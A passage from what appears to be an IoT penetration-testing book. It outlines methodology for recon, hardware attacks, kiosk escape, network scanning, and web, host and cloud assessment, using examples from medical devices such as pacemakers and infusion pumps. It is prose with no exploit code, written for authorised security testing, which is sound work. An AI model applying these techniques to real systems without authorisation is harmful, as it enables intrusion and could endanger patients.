personnel for information. You could also gather internal hostnames from 
TLS certificates released as a result of Certificate Transparency, a standard 
that requires Certificate Authorities to publish the certificates they issue in 
a public log record. 

Manuals and Documents

System manuals can provide a trove of information about the inner work-
ings of devices. You can usually find them on the device vendor’s official 
website. If that fails, try advanced Google searches for PDF documents con-
taining the device name: for example, by searching for the device and add-
ing “inurl:pdf” in the query. 

It’s surprising how much important information you can find in manu-
als. Our experience shows they can reveal default usernames and passwords 
that often still remain in production environments, detailed specifications 
of the system and its components, network and architecture diagrams, and 
troubleshooting sections that help identify weak spots.

If you’ve identified certain chipsets installed on the hardware, it’s also 
worthwhile to look for the relevant datasheets (manuals for electronic com-
ponents), because they might lay out the chipset pins used for debugging 
(such as the JTAG debug interfaces discussed in Chapter 7).

Another useful resource, for devices that use radio communication, 
is the FCC ID online database at https://fccid.io/. An FCC ID is a unique 
identifier assigned to a device registered with the United States Federal 
Communications Commission. All wireless emitting devices sold in the 
United States must have an FCC ID. By searching for a specific device’s FCC 

https://fccid.io/
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ID, you can find details on the wireless operating frequency (such as its 
strength), internal photos of the device, user manuals, and more. The FCC 
ID is usually engraved on the case of the electronic component or device 
(Figure 3-2). 

Figure 3-2: The FCC ID shown on the RFM95C chip of the CatWAN USB stick, which we’ll 
use in Chapter 13 for LoRa hacking

Patents

Patents can provide information about the inner workings of certain devices. 
Try searching for a vendor name at https://patents.google.com/ and see what 
comes up. For example, the keywords “medtronic bluetooth” should pull up 
a patent for a communication protocol between implantable medical devices 
(IMDs) published in 2004. 

The patents will almost always contain flow diagrams that could help 
you when assessing the communication channel between the device and 
other systems. In Figure 3-3, a simple flow diagram for the same IMD shows 
a critical attack vector. 

Notice that arrows enter and leave the IMD column. The remote 
system’s “Patient action & advise” action can initiate a connection to the 
device. When you follow the chain of arrows, notice that the action can also 
update the device’s programming to change settings that could harm the 
patient. For this reason, the remote system creates risks of remote compro-
mise, either through an insecure mobile app or the actual remote system 
(usually implemented on the cloud).  

https://patents.google.com/
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Figure 3-3: The flow diagram from the Medtronic patent shows that bidirectional commu-
nication can occur between the device and a remote system through a mobile phone. This 
highlights an important attack vector.

User Knowledge 

It’s amazing how much public information you can find on social media, 
online forums, and chat rooms. You can even use Amazon and eBay reviews 
as a knowledge source. Look for users complaining about certain device 
functions; buggy behavior can sometimes indicate an underlying vulner-
ability. For example, you might find a user complaining about the device 
crashing after triggering a set of conditions. This is a good lead to investi-
gate, because it can point to a logic bug or a memory corruption vulnerabil-
ity resulting from specific input to the device. In addition, many users post 
detailed product reviews with specifications and disassembly photos. 

Also, check profiles or posts on LinkedIn and Twitter. Engineers and 
IT personnel working for the IoT system’s manufacturer might expose juicy 
tidbits of technical information. For example, if the person posts that they 
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have a strong background on a specific CPU architecture, it’s very likely 
that many of the manufacturer’s devices are built using that architecture. If 
another employee rants about (or praises, although this happens less often) 
a specific framework, there’s a considerable chance the company uses that 
framework to develop software.

In general, each IoT industry will have its own set of experts that you 
can consult for useful information. For instance, if you were assessing a 
power plant, asking the operators or technicians about their workflows 
could prove valuable for determining potential attack vectors. In the med-
ical world, nurses are usually the sysadmins and main operators of IoT sys-
tems. Hence, they typically have ample knowledge about the device’s ins 
and outs, and you should consult with them if possible. 

The Physical or Hardware Layer
One of the most important attack vectors in an IoT device is the hardware. 
If attackers can get ahold of a system’s hardware components, they’re fre-
quently able to gain elevated privileges, because the system almost always 
implicitly trusts anyone who has physical access. In other words, if a dedi-
cated adversary has physical access to your systems, you can pretty much con-
sider the game over. Assume that the most motivated threat actors, such as 
nation state–funded ones with virtually infinite time and resources, will have 
a physical copy of the device available to them. Even for special-purpose sys-
tems, such as large ultrasound machines, adversaries can get the hardware 
from online marketplaces, companies that dispose of devices insecurely, or 
even theft. They don’t even need the exact version of the device. Often, vul-
nerabilities span many generations of a system. 

An assessment of the hardware layer should include testing for periph-
eral interfaces, the boot environment, physical locks, tamper protection, 
firmware, debug ports, and physical robustness.

Peripheral Interfaces 
Peripheral interfaces are physical communication ports that allow you to con-
nect external devices, such as keyboards, hard disks, and network cards. 
Check whether any active USB ports or PC card slots are enabled and 
whether they’re bootable. We’ve gained administrative access to a large 
variety of x86 systems by booting our own operating system on the device, 
mounting the unencrypted filesystem, extracting crackable hashes or 
passwords, and installing our own software on the filesystem to override 
technical security controls. You could also extract hard disks and read from 
or write to them even without access to bootable USB ports, although this 
technique is less convenient. Note that tampering with the hardware to 
extract the disks might damage the components.

USB ports can be attack vectors for another reason: some, mostly 
Windows-based devices have a kiosk mode, which restricts the user interface. 
Consider the ATM machine you use to withdraw cash; even though in the 
backend it might run on the Windows XP embedded operating system, 
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the user sees only a restricted graphical interface with a specific set of 
options. Imagine what you could do if you could attach a USB keyboard to 
an exposed port on the device. Using specific key combinations, such as 
CTRL-ALT-DELETE or the Windows key, you might be able to escape the 
kiosk mode and gain direct access to the rest of the system.

Boot Environment
For systems using a conventional BIOS (typically x86 and x64 platforms), 
check whether the BIOS and boot loader are password-protected and what 
the preferred boot order is. If the system boots removable media first, you 
can boot your own operating system without having to make any changes 
to the BIOS settings. Also, check whether the system enables and prioritizes 
Preboot Execution Environment (PXE), a specification that allows clients to boot 
through the network using a combination of DHCP and TFTP. This leaves 
room for attackers to set up rogue network boot servers. Even if the boot 
sequence is securely configured and all settings are password-protected, you 
can normally still reset the BIOS to its default, clean, and unprotected set-
tings (such as by temporarily removing the BIOS battery). If the system has 
Unified Extensible Firmware Interface (UEFI) Secure Boot, assess its imple-
mentation as well. UEFI Secure Boot is a security standard that validates that 
the boot software hasn’t been tampered with (by rootkits, for example). It 
does so by checking the signature of the UEFI firmware drivers and the 
operating system.

You might also encounter Trusted Execution Environment (TEE) tech-
nologies, such as TrustZone in Arm platforms or Qualcomm Technologies’ 
secure boot feature, which verify secure boot images.

Locks
Check whether the device is protected by some kind of lock, and if it is, 
how easy it is to pick the lock. Also, check whether there’s a universal key 
for all locks or a separate one for every device. In our assessments, we’ve 
seen cases where all devices by the same manufacturer used the same key, 
rendering the lock useless, because anyone in the world could easily have 
a copy of the key. For example, we found that a single key could unlock an 
entire product line of cabinets that gave physical access to a drug infusion 
pump’s system configuration. 

To assess locks, you’ll need a lockpicking tool set in addition to knowl-
edge of the type of target lock in use. For example, a tumbler lock opens 
differently than an electric-powered lock, which might fail to open or close 
if power is off.

Tamper Protection and Detection
Check whether the device is tamper-resistant and tamper-evident. For 
example, one way to make a device tamper-evident is to use a label with 
perforated tape that permanently displays some kind of message after it’s 
opened. Other tamper protections include effuses, tamper clips, special 
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enclosings sealed with epoxy, or physical fuses that can erase sensitive 
contents if a device is disassembled. Tamper detection mechanisms send 
an alert or create a log file on the device upon sensing an attempt to com-
promise the device’s integrity. It’s especially important to check for tamper 
protection and detection when conducting a penetration test of IoT systems 
within an enterprise. Many threats come from the inside, caused by employ-
ees, contractors, or even former employees, so having tamper protection 
can help identify any purposefully altered device. An attacker would have 
trouble disassembling a tamper-resistant device. 

Firmware
We’ll cover firmware security in detail in Chapter 9, so we won’t expand 
on it here. But keep in mind that accessing firmware without permission 
can have legal consequences. This matters if you plan to publish security 
research that involves accessing the firmware or reverse engineering the 
executables found in it. Refer to “IoT Hacking Laws” on page 12 for 
information about navigating this legal environment. 

Debug Interfaces 
Check for debug, services, or test point interfaces that the manufacturer might 
have used to simplify development, manufacturing, and debugging. You’ll 
commonly find these interfaces in embedded devices, and you can exploit 
them to gain immediate root access. We wouldn’t have fully understood 
many of the devices we’ve tested without first opening a root shell on the 
systems by interfacing with debug ports, because there was no other way to 
access and inspect the live system. Doing so might first require some famil-
iarity with the inner workings of the communication protocols these debug 
interfaces use, but the end result is usually well worth it. The most common 
types of debug interfaces include UART, JTAG, SPI, and I2C. We’ll discuss 
these interfaces in Chapters 7 and 8. 

Physical Robustness
Test for any limitations posed by the hardware’s physical characteristics. 
For example, assess the system for battery drain attacks, which occur when an 
attacker overloads the device and causes it to run out of battery in a short 
period of time, effectively causing a denial of service. Consider how danger-
ous this is when done to an implantable pacemaker on which a patient’s life 
relies. Another type of test in this category is glitching attacks, intentional 
hardware faults introduced to undermine security during sensitive opera-
tions. In one of our most surprising successes, we made the booting process 
of an embedded system drop a root shell when we performed a glitching 
attack on its printed circuit board (PCB). Additionally, try side-channel 
attacks like differential power analysis, which tries to measure the power con-
sumption of a cryptographic operation to derive secrets.

Examining the device’s physical characteristics can also help you 
make educated guesses about the robustness of other security features. 
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For example, a tiny device with a long battery life might have weak forms 
of encryption in its network communication. The reason is that the pro-
cessing power required for stronger encryption would drain the battery 
faster and the battery has a limited capacity due to the device’s size. 

The Network Layer 
The network layer, which includes all components that directly or indirectly 
communicate through standard network communication paths, is usually 
the largest attack vector. So, we’ll break it into smaller parts: reconnais-
sance, network protocol and service attacks, and wireless protocol testing.

Although many of the other testing activities covered in this chapter 
involve the network, we’ve given those activities their own sections when nec-
essary. For example, web application assessment has its own section because 
of its complexity and the sheer amount of testing activities involved.

Reconnaissance
We’ve already discussed steps you can take to perform passive reconnais-
sance on IoT devices generally. In this section, we outline active and passive 
reconnaissance for networks specifically, one of the first steps for any net-
work attack. Passive reconnaissance might include listening on the network 
for useful data, whereas active reconnaissance (reconnaissance that requires 
interacting with the target) requires querying devices directly. 

For a test on a single IoT device, the process is relatively simple, because 
there’s only one IP address to scan. But for a large ecosystem, such as a smart 
home or health care environment with medical devices, network reconnais-
sance can be more complicated. We’ll cover host discovery, service version 
detection, operating system identification, and topology mapping. 

Host Discovery

Host discovery is determining which systems are live on the network by prob-
ing them using a variety of techniques. These techniques include sending 
Internet Control Message Protocol (ICMP) echo-request packets, conduct-
ing TCP/UDP scans of common ports, listening for broadcast traffic on the 
network, or conducting ARP request scans if the hosts are on the same L2 
segment. (L2 refers to the layer 2 of the OSI model of computer network-
ing. It is the data link layer and is responsible for transferring data between 
nodes on the same network segment across the physical layer. Ethernet is 
a common data link protocol.) For complex IoT systems, such as servers 
managing surveillance cameras that span many different network segments, 
it’s important to not rely on any one particular technique. Rather, leverage 
a diverse set to increase the chances of bypassing firewalls or strict VLAN 
(Virtual Local Area Network) configurations.  

This step might be the most useful in cases where you’re conducting a 
penetration test of IoT systems in which you don’t know the IP addresses of 
the tested systems.  
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Service Version Detection

After you’ve identified live hosts, determine all the listening services on 
them. Begin with TCP and UDP port-scanning. Then conduct a combina-
tion of banner grabbing (connecting to a network service and reading the 
initial information it sends back as a response) and probing with service fin-
gerprinting tools, such as Amap or Nmap’s -sV option. Be aware that some 
services, especially on medical devices, are particularly prone to breaking 
with even simple probing. We’ve seen IoT systems crash and reboot simply 
because we scanned them with Nmap’s version detection functionality. This 
scan sends specially crafted packets to elicit responses from certain types 
of services that otherwise don’t send any information when you connect 
to them. Apparently, those same packets can make some sensitive devices 
unstable because the devices lack robust input sanitization on their network 
services, leading to memory corruption and then crashes. 

Operating System Identification

You’ll need to determine the exact operating system running on each of 
the tested hosts so you can develop exploits for them later. At the very least, 
identify the architecture (for example, x86, x64, or ARM). Ideally, you’d 
identify the operating system’s exact service pack level (for Windows) and 
kernel version (for Linux or Unix-based systems in general). 

You can identify an operating system through the network by analyz-
ing the host’s responses to specially crafted TCP, UDP, and ICMP packets, 
a process called fingerprinting. These responses will vary because of minor 
differences in the implementation of the TCP/IP network stack in different 
operating systems. For example, certain older Windows systems respond to 
a FIN probe against an open port with a FIN/ACK packet; others respond with 
an RST, and still others don’t respond at all. By statistically analyzing such 
responses, you can create a profile for each operating system version, and 
then use these profiles to identify them in the wild. (For more informa-
tion, visit the Nmap documentation’s “TCIP/IP Fingerprinting Methods 
Supported by Nmap” page.)

Service scanning can also help you perform operating system finger-
printing, because many services expose system information in their banner 
announcements. Nmap is a great tool for both jobs. But be aware that for 
some sensitive IoT devices, operating system fingerprinting can be intrusive 
and can cause crashes.

Topology Mapping

Topology mapping models the connections between different systems in a net-
work. This step applies when you have to test an entire ecosystem of devices 
and systems, some of which might be connected through routers and fire-
walls and aren’t necessarily on the same L3 segment. (L3 refers to the layer 
3 of the OSI model of computer networking. It is the network layer and 
is responsible for packet forwarding and routing. Layer 3 comes into play 
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when data is transferred through routers.) Creating a network map of the 
tested assets becomes useful for threat modeling: it helps you see how an 
attack that exploits a chain of vulnerabilities in different hosts can lead to a 
critical asset compromise. Figure 3-4 shows a high-level topology diagram.

Cloud

Home wi-fi router

Home monitoring
system

Physician

Patient
IMD

Cloud 
database

Figure 3-4: A simple topology diagram of a home network that includes a home monitor-
ing device for a patient with an IMD

This abstract network map shows a patient who has an IMD communi-
cating with a home monitoring device. The home device in turn relies on 
the local Wi-Fi connection to send diagnostic data to the cloud where a phy-
sician can monitor them periodically to detect any anomalies. 

Network Protocol and Service Attacks
Network protocol and service attacks consist of the following stages: vul-
nerability scanning, network traffic analysis, protocol reverse engineering, 
and protocol or service exploitation. Although you can carry out vulner-
ability scanning independently of the other stages, the rest depend on one 
another. 
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Vulnerability Scanning

Start by checking databases, such as the National Vulnerability Database 
(NVD) or VulnDB for any known vulnerabilities in the exposed network 
services. Sometimes the system is so out-of-date that an automated vulner-
ability scanning tool will fill pages and pages of reports. You might even be 
able to exploit certain vulnerabilities remotely with no authentication. For 
due diligence, run at least one scanning tool to quickly identify low-hanging 
fruit. If you find a serious vulnerability, such as remote code execution, you 
might be able to get a shell on the device, which will help you with the rest of 
the assessment. Make sure you always scan in a controlled environment and 
closely monitor it in the event that unforeseen downtime occurs. 

Network Traffic Analysis

Early in the security assessment process, leave a traffic-capturing tool like 
Wireshark or tcpdump running for a period of time to get an idea of the 
communication protocols in use. If the IoT system involves different inter-
acting components, such as a surveillance camera with its server or a drug 
infusion pump with an EHR system, you should be able to capture any 
network traffic traveling between them. Known attacks, such as ARP cache 
poisoning, will usually do the trick on the same L3 segment. 

Ideally, you’ll also run these traffic-capturing tools directly on the devices 
to capture potential interprocess communication (IPC) traffic on the local-
host. You might have more difficulty running these network tools on embed-
ded devices, which won’t usually have these tools already installed, because 
there’s no straightforward process to set them up. But we’ve often succeeded 
in cross-compiling and installing tools like tcpdump on even very restrictive 
devices, such as pacemaker home monitoring systems. We’ll demonstrate this 
in Chapter 6.

After you’ve captured a representative sample of network traffic, you 
can begin analyzing it. Determine whether there are insecure communica-
tion channels, like cleartext protocols; known vulnerable protocols, like the 
Universal Plug and Play (UPnP) set of networking protocols; and propri-
etary protocols that need further examination or reverse engineering (dis-
cussed in the following section).

Reverse Engineering Protocols

You should reverse engineer any propriety communication protocols you 
discover. Creating new protocols is always a double-edged sword; some 
systems do indeed require their own protocol stack for their performance, 
functionality, or even security. But designing and implementing a robust 
protocol is usually a very complicated task. Many of the IoT systems we’ve 
seen leverage TCP or UDP and build on top of them, often using some 
variant of XML, JSON, or other structured language. In complex cases, 
we’ve encountered proprietary wireless protocols about which there is little 
to no public information available, such as those found in implantable 
pacemakers. In these cases, it might be easier to examine the protocols 
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from a different angle. For example, try to debug the system services that 
communicate with the driver layer that is responsible for transmitting the 
radio signal. This way, you won’t necessarily have to analyze the proprietary 
wireless protocol. Instead, you might be able to figure out how it works by 
understanding the layer just above it. 

For example, we used this technique when assessing a pacemaker. To 
do so, we leveraged tools, such as strace, that attached to the processes com-
municating with the driver layer. By analyzing logs and pcap files, we iden-
tified the underlying communication channel without having to conduct 
radio-signal analysis or other time-consuming methods, like Fourier trans-
forms, on the proprietary wireless channel. Fourier transforms decompose 
signals into their constituent frequencies.

Protocol or Service Exploitation 

As the last step in a network attack, you should actually exploit the proto-
col or listening service by writing a proof-of-concept program that abuses 
it. Crucially, you’ll have to determine the exact conditions required for 
exploitability. Is the exploit reproducible 100 percent of the time? Does it 
require the system to be in a certain state first? Does a firewall rule prevent 
ingress or egress communication? Is the system usable after you’ve suc-
cessfully exploited it? Make sure you come up with solid answers to these 
questions.

Wireless Protocol Testing
We’re dedicating an entire section of this chapter to wireless protocol test-
ing because of the prevalence of short, medium, and long-range radio 
communication protocols in IoT ecosystems. This layer can coincide with 
what other literature describes as the Perception Layer, which includes sens-
ing technologies like Radio-Frequency Identification (RFID), Global 
Positioning System (GPS), and Near-Field Communication (NFC). 

The process of analyzing these technologies overlaps with the Network 
Layer’s “Network Traffic Analysis” and the “Reverse Engineering Protocols” 
activities earlier in this chapter. Analyzing and attacking wireless protocols 
usually requires specialized equipment, including certain injection-capable 
Wi-Fi chipsets, like Atheros; Bluetooth dongles, such as the Ubertooth; and 
Software Defined Radio tools, like HackRF or LimeSDR.

In this stage, you’ll test for certain attacks pertaining to the specific 
wireless protocol in use. For example, if any IoT components use Wi-Fi, 
test for things like association attacks, any use of Wired Equivalent Privacy 
(WEP) (which would be a red flag, because it’s easily crackable), and inse-
cure Wi-Fi Protected Access (WPA/WPA2) implementations with weak 
credentials. WPA3 might soon belong in this category. We’ll walk through 
the most important attacks against these protocols in Chapters 10 through 
13. For custom protocols, you’d test for a lack of authentication (including a 
lack of mutual authentication) and a lack of encryption and integrity check-
ing, all of which we’ve unfortunately witnessed quite often, even in critical 
infrastructure devices.
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Web Application Assessment
Web applications, including those used in IoT systems, provide one of the 
easiest network entry points, because they’re often externally accessible 
and riddled with a multitude of vulnerabilities. Assessing web applica-
tions is a vast topic, and a huge number of resources already exist to guide 
you through it. So, we’ll focus on techniques that specifically apply to web 
applications encountered in IoT devices. The truth is that they don’t differ 
significantly from almost any other web app in existence, but those found 
on embedded devices often notoriously lack secure software develop-
ment life cycles, leading to obvious and known vulnerabilities. Resources 
for web application testing include The Web Application Hacker’s Handbook 
and all OWASP projects, such as its Top 10 list, the Application Security 
Verification Standard (ASVS) project, and the OWASP Testing Guide.  

Application Mapping
To map a web app, begin by exploring the website’s visible, hidden, and 
default content. Identify data entry points and hidden fields, and enumerate 
all parameters. Automated spidering tools (data mining software that crawls 
websites one page at a time) can help speed up the process, but you should 
always browse manually as well. You can leverage an intercepting proxy for 
passive spidering (monitoring the web content as you manually browse) as well 
as active spidering (actively crawling the site using previously discovered URLs 
and AJAX requests embedded in JavaScript as starting points). 

You can discover hidden content, or web app endpoints that you can’t 
usually reach via accessible hyperlinks, by trying common file or directory 
names and extensions. Note that this can be very noisy, because all these 
requests will generate a lot of network traffic. For instance, a medium-sized 
list of common directory and filenames for the DirBuster web crawling tool 
has 220,560 entries. This means that if you use it, it will send at least 220,560 
HTTP requests to the target in the hope of discovering hidden URLs. But 
don’t overlook this step, especially when the assessment takes place in a 
controlled environment. We’ve often found some very interesting, often 
unauthenticated, web app endpoints in IoT devices. For example, we once 
uncovered a hidden URL on a popular surveillance camera model that 
allowed you to take pictures completely unauthenticated—essentially allow-
ing an attacker to remotely monitor whatever the camera was pointing at!

It’s also important to identify entry points where the web application can 
receive user data. Most vulnerabilities in web applications occur because the 
application receives untrusted input from unauthenticated remote actors. 
You can use these entry points later for fuzzing (an automated way of provid-
ing invalid random data as input) and to test for injection. 

Client-Side Controls
You might be able to exploit client-side controls, which are anything that 
gets processed by browser, thick, or mobile apps. Client-side controls 
might include hidden fields, cookies, and Java applets. They could also be 
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JavaScript, AJAX, ASP.NET ViewState, ActiveX, Flash, or Silverlight objects. 
For example, we’ve seen numerous web applications on embedded devices 
perform user authentication on the client side, which an attacker can always 
bypass, because the user can control everything that happens on the client 
side. The devices used JavaScript or .jar, .swf , and .xap files that attackers 
could decompile and modify to do their bidding.

Authentication
Look for vulnerabilities in the app’s authentication mechanism. It’s com-
mon knowledge that a huge number of IoT systems come with weak precon-
figured credentials and that users often leave these credentials unchanged. 
You can discover these credentials by referencing manuals or other online 
resources, or simply by guessing. When testing IoT systems, we’ve seen cre-
dentials ranging from the popular admin/admin, to a/a (yes, username: a, 
password: a), to simply no authentication. To crack nondefault passwords, 
perform dictionary attacks against all authentication endpoints. A dictionary 
attack uses automated tools to guess a password by testing the most com-
mon words from dictionaries or leaked lists of common passwords. Almost 
every security assessment report we’ve written includes “lack of brute-force 
protection” as a finding, because IoT embedded devices often have limited 
hardware resources and might not be able to keep state like a SaaS applica-
tion would. 

Also, test for the insecure transmission of credentials (which commonly 
includes default HTTP access with no redirection to HTTPS); examine any 
“forgot password” and “remember me” functionality; perform username enu-
meration (guessing and listing valid users); and look for fail-open conditions 
in which authentication fails but, due to some exception, the app provides 
open access.

Session Management
Web application sessions are sequences of HTTP transactions associated with 
a single user. Session management, or the process of keeping track of those 
HTTP transactions, can get complicated, so inspect those processes for 
flaws. Check for the use of predictable tokens, the unsafe transmission of 
tokens, and disclosure of tokens in logs. You might also find insufficient 
session expirations, session-fixation vulnerabilities, and Cross-Site Request 
Forgery (CSRF) attacks in which you can manipulate authenticated users to 
perform unwanted actions. 

Access Controls and Authorization
Next, check that the site properly enforces access controls. User-level seg-
regation, or the practice of giving users with different privileges access to 
different data or functionality, is a common feature of IoT devices. It’s 
also known as role-based access control (RBAC). This is especially true of 
complex medical devices. For example, in an EHR system, the clinician 
account will have more privileged access than the nurse account, which 
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might have read-only access. Similarly, camera systems will have at least an 
administrator account whose rights include the ability to change configura-
tion settings and a less privileged view-only account meant to allow device 
operators to view the camera feed. But the systems need to have proper 
access controls in place for this to work. We’ve seen systems where you could 
request a privileged action from a nonprivileged account just by knowing 
the right URL or HTTP request, also known as forced browsing. If the system 
supports multiple accounts, test all privilege boundaries. For example, can 
a guest account access web app functionality that only an admin should 
use? Can a guest account access an admin API governed by another autho-
rization framework?

Input Validation
Make sure the application is properly validating and sanitizing user input 
for all data entry points. This activity is critical, given that the most popular 
type of web app vulnerability is injection, in which users can submit their 
own code as user input to an application (see OWASP’s Top 10 list of vul-
nerabilities). Testing an application’s input validation can be a very lengthy 
process. The reason is that it includes testing for all types of injection 
attacks, including SQL injection, Cross-Site Scripting (XSS), operating sys-
tem command injection, and XML External Entity (XXE) injection. 

Logic Flaws
Check for vulnerabilities due to logic flaws. This task is especially impor-
tant when the web app has multistage processes in which one action has to 
follow another. If performing these actions out of order causes the app to 
enter unintentional and undesirable states, the app has a logic flaw. Often, 
discovering logic flaws is a manual process that requires context about the 
application and the industry for which it’s developed.   

Application Server 
Check that the server hosting the application is secure. Having a secure web 
application hosted on an insecure application server defeats the purpose of 
securing the actual app. To test the server’s security, use vulnerability scan-
ners to check for application server bugs and public vulnerabilities. Also, 
check for deserialization attacks and test the robustness of any web applica-
tion firewalls. Additionally, test for server misconfigurations, like directory 
listings, default content, and risky HTTP methods. You might also assess 
the robustness of SSL/TLS, checking for weak ciphers, self-signed certifi-
cates, and other common vulnerabilities. 

Host Configuration Review
The process of host configuration review assesses the system from the inside 
after you’ve gained local access. For example, you could perform this review 
from a local user account on the Windows server component of an IoT 
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system. Once inside, evaluate a variety of technical aspects, including user 
accounts, remote support connections, filesystem access controls, exposed 
network services, insecure server configurations, and more.

User Accounts
Test how securely configured user accounts are in the system. This step 
includes testing for the existence of default user accounts and examining 
the robustness of account policies. Such policies include password history 
(whether and when you can reuse old passwords), password expiration (how 
often the system forces users to change their passwords), and lockout mecha-
nisms (how many wrong attempts the user has to provide credentials until 
they’re locked out of their account). If the IoT device belongs to an enter-
prise network, take into account the company’s security policies to ensure 
that the accounts are consistent. For example, if the organizational security 
policy requires users to change their passwords every six months, check 
that all accounts comply with the policy. Ideally, if the system allows you to 
integrate accounts with the company’s Active Directory or LDAP services, 
the company should be able to enforce these policies in a centralized way 
through the server. 

This testing step might sound mundane, but it’s one of the most impor-
tant. Attackers very often abuse weakly configured user accounts that aren’t 
managed in a centralized way and thus end up being overlooked. In our 
assessments, we frequently find local user accounts that have a nonexpiring 
password identical to the username. 

Password Strength
Test the security of the passwords on user accounts. Password strength is 
important because attackers can guess weak credentials using automated 
tools. Check whether password complexity requirements are enforced 
through either group or local policies on Windows and the Pluggable 
Authentication Modules (PAM) on Linux-based systems, with one caveat: 
authentication requirements shouldn’t impact business workflow. Consider 
the following scenario: a surgical system enforces a password complexity of 
16 characters and locks users out of the account after three wrong attempts. 
This is a recipe for disaster when the surgeon or nurse has an emergency 
situation and there’s no other way to authenticate to the system. In cases 
where even seconds matter and patients’ lives are at stake, you must ensure 
that security doesn’t interfere in a negative way. 

Account Privileges
Check that accounts and services are configured with the principle of least 
privilege, in other words, that they’re able to access only the resources they 
need and no more than that. We commonly see poorly configured software 
without fine-grained privilege separation. For example, often the main 
process doesn’t drop its elevated privileges when it no longer needs them, 
or the system lets different processes all run under the same account. These 
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processes normally need access to only a limited set of resources, so they 
end up overprivileged; once compromised, they provide an attacker with 
full control of the system. We also frequently find simple logging services 
running with SYSTEM or root privileges. The high-risk finding “Services 
with Excessive Privileges” appears in almost every security assessment 
report we write.  

In Windows systems specifically, you can solve this problem using man-
aged service accounts, which let you isolate domain accounts used by critical 
applications and automate their credential management. On Linux systems, 
using security mechanisms like capabilities, seccomp (which whitelists system 
calls), SELinux, and AppArmor can help limit process privileges and harden 
the operating systems. In addition, solutions like Kerberos, OpenLDAP, and 
FreeIPA can help with account management. 

Patch Levels
Check that the operating system, applications, and all third-party libraries 
are up-to-date and have an update process. Patches are important, compli-
cated, and largely misunderstood. Testing for outdated software might seem 
like a routine task (which you can usually automate using vulnerability 
scanning tools), but almost nowhere will you find a fully up-to-date ecosys-
tem. To detect open source components with known vulnerabilities, lever-
age software composition analysis tools that automatically inspect third-party 
code for missing patches. To detect missing operating system patches, you 
can rely on authenticated vulnerability scans or even check for them manu-
ally. Don’t forget to check whether the vendors still support the Windows or 
Linux kernel version of the IoT device; you’ll frequently find they don’t.

Patching system components is one of the banes of the information secu-
rity industry, and the IoT world especially. One of the main reasons is that 
embedded devices are harder to patch by nature because they often rely on 
complex firmware that is set in stone. Another reason is that patching certain 
systems, like ATM machines, on a regular basis can be prohibitively expensive 
because of the cost of downtime—the time in which customers can’t access the 
system—and the amount of work involved. For more special-purpose systems 
like medical devices, the vendor must first perform rigorous testing before 
releasing any new patch. You don’t want the blood analyzer to accidentally 
show a positive result for hepatitis because of a floating-point error caused 
by the latest update, do you? And how about patching an implantable pace-
maker? The update should involve a life-or-death situation (literally) to justify 
calling all patients to the doctor’s office to “patch them up.”

In our assessments, we often see third-party software used without 
patches, even though core components might be up-to-date. Common 
examples of this on Windows include Java, Adobe, and even Wireshark. 
In Linux devices, it’s common to find outdated versions of OpenSSL. 
Sometimes the software installed has absolutely no reason to be there, and 
it’s best to remove it instead of trying to establish a patching process for it. 
Why would you need Adobe Flash installed on the server that interfaces 
with an ultrasound machine? 
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Remote Maintenance
Check the security of the remote maintenance and support connection 
for the device. Often, rather than sending a device to the vendor for 
patches, an organization will call the device vendor and have its techni-
cal staff remotely connect to the system. Attackers can sometimes exploit 
these features as backdoors that allow administrative access. Most of these 
remote connection methods are insecure. Consider the Target breach, 
where attackers infiltrated the store’s main network via a third-party HVAC 
company.  

Vendors might patch devices remotely because there is usually no good 
way to have IoT  devices in your network patched on time. Because some are 
sensitive and complex devices, the company staff can’t just surreptitiously 
start installing patches on them; there’s always a chance of them breaking 
during the process. And what happens if the device malfunctions while 
there’s an urgent need to use it (as in the case of a CT scanner at a hospital 
or a critical temperature sensor in a power plant)? 

It’s important to assess not only the remote support software (ideally 
by reverse engineering its binaries) and its communication channel, but 
also the established process for remote maintenance. Does the facility use a 
24/7 connection? Is there two-factor authentication when the vendor con-
nects? Is there logging? 

Filesystem Access Controls
Check that the principle of least privilege, mentioned earlier in this chap-
ter, applies to key files and directories. Often, low-privileged users can read 
and write crucial directories and files (like service executables), allowing 
for easy privilege escalation attacks. Do nonadmin users really need to have 
write access on C:\Program Files? Do any users need to have access to /root? 
We once assessed an embedded device with more than five different startup 
scripts that were writeable by nonroot users, allowing an attacker with local 
access to essentially run their own programs as root and gain complete con-
trol of the system.

Data Encryption
Check that sensitive data is encrypted. Begin by identifying the most sensi-
tive data, such as Protected Health Information (PHI) or Personally Identifiable 
Information (PII). PHI includes any records about health status, provision, 
or payment of health care, whereas PII is any data that could potentially 
identify a specific individual. Make sure this data is encrypted at rest by 
inspecting the system configuration for cryptographic primitives. If some-
one managed to steal the device’s disk, could they read that data? Is there 
full-disk encryption, database encryption, or any kind of encryption at rest, 
and how cryptographically secure is it? 
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Server Misconfiguration 
Misconfigured services can be insecure services. For example, you can still 
find FTP servers that have guest user access enabled by default, allowing 
attackers to anonymously connect and read or write to specific folders. We 
once found an Oracle Enterprise Manager, running as SYSTEM and acces-
sible remotely with default credentials, that allowed attackers to execute 
operating system commands by abusing stored Java procedures. This vul-
nerability enabled attackers to completely compromise the system through 
the network.

Mobile Application and Cloud Testing
Test the security of any mobile application associated with the IoT system. 
These days, developers often want to create Android and iOS apps for every-
thing, even pacemakers! You can learn more about mobile app security 
testing in Chapter 14. In addition, consult the OWASP Mobile Top 10 list, 
Mobile Security Testing Guide, and Mobile Application Security Verification 
Standard.

In a recent assessment, we discovered that an app sent PHI to the cloud, 
unbeknownst to the physician or nurse operating the device. Although this 
isn’t a technical vulnerability, it’s still an important confidentiality violation 
that stakeholders should know about.

Also, assess the security posture of any cloud component associated with 
an IoT system. Examine the interaction between the cloud and IoT compo-
nents. Pay particular attention to the backend APIs and implementations 
in cloud platforms, including but not limited to AWS, Azure, and Google 
Cloud Platform. You’ll commonly find Insecure Direct Object References (IDOR) 
vulnerabilities, which allow anyone who knows the right URL to access sen-
sitive data. For example, AWS sometimes lets an attacker access S3 buckets 
using the URL associated with the data objects the bucket contains. 

Many of the tasks involved in cloud testing will overlap with mobile and 
web app assessments. In the former case, the reason is that the client using 
these APIs is usually an Android or iOS app. In the latter case, the reason 
is that many cloud components are basically web services. You could also 
inspect any remote maintenance and support connections to the cloud, as 
mentioned in “Host Configuration Review” on page 50.

We’ve encountered a range of cloud-related vulnerabilities: hardcoded 
cloud tokens, API keys found embedded in mobile apps and firmware bina-
ries, a lack of TLS-certificate pinning, and the exposure of intranet services 
(such as an unauthenticated Redis caching server or the metadata service) 
to the public due to misconfigurations. Be aware that you need permission 
